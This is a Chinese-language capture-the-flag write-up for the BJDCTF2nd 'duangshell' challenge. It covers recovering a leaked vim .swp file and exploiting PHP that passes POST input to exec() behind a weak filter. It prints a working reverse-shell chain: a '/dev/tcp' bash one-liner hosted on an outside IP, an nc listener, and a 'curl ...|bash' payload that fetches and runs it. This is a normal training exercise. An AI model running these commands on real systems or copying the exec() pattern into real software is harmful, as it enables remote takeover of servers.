[BJDCTF2nd_duangshell]

知识点:

  • nc命令反弹shell

进入题目:[BJDCTF2nd_duangshell]
首先题目中提示了.swp,应该是.swp源码泄露,然后试了试/index.php.swp毫无反应,看了wp之后才知道是/.index.php.swp。。。
访问http://xxx/.index.php.swp下载该文件

该文件产生的原因是:​使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。

然后下载下来,拖到kali里用命令vim -r index.php.swp恢复文件,然后按下任意键就可以看到其中的代码了。源码:[BJDCTF2nd_duangshell]

<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

看了看过滤,只过滤了cat,天真的我以为用tac就行了。。。结果事情远远没有这么简单,exec()函数是没有回显的,我还一直以为exec()和system()是一样的。

没有过滤nc和curl,而题目又是duang shell,可以知道这道题是让我们反弹shell。
启动MobaXterm
也可以用xshell和Linux Lab靶机[BJDCTF2nd_duangshell]回车创建连接,使用账号root密码123456登录[BJDCTF2nd_duangshell]

连接好之后先使用命令ifconfig看下靶机的ip[BJDCTF2nd_duangshell]或者用Linux Lab靶机链接的话:[BJDCTF2nd_duangshell]

SSH连接shell,因为这台机器已经搭建LAMP,我们直接道网站根目录/var/www/html建一个能反弹shell的文件1.txt。

cd /var/www/html
echo "bash -i >& /dev/tcp/174.1.90.119/2333 0>&1" > 1.txt

[BJDCTF2nd_duangshell]
用nc命令监听我们设置的2333端口

nc -lvp 2333

[BJDCTF2nd_duangshell]
最后让题目机执行靶机里1.txt的命令,我们传payload:

girl_friend=curl 174.1.90.119/1.txt|bash

可以看到连接上了,并且可以执行命令:[BJDCTF2nd_duangshell]
[BJDCTF2nd_duangshell]

然后拿flag就行了

find / -name "*flag"
得知在/etc/demo/P3rh4ps/love/you/flag

cat /etc/demo/P3rh4ps/love/you/flag

上一篇:547. Friend Circles


下一篇:毕设之旅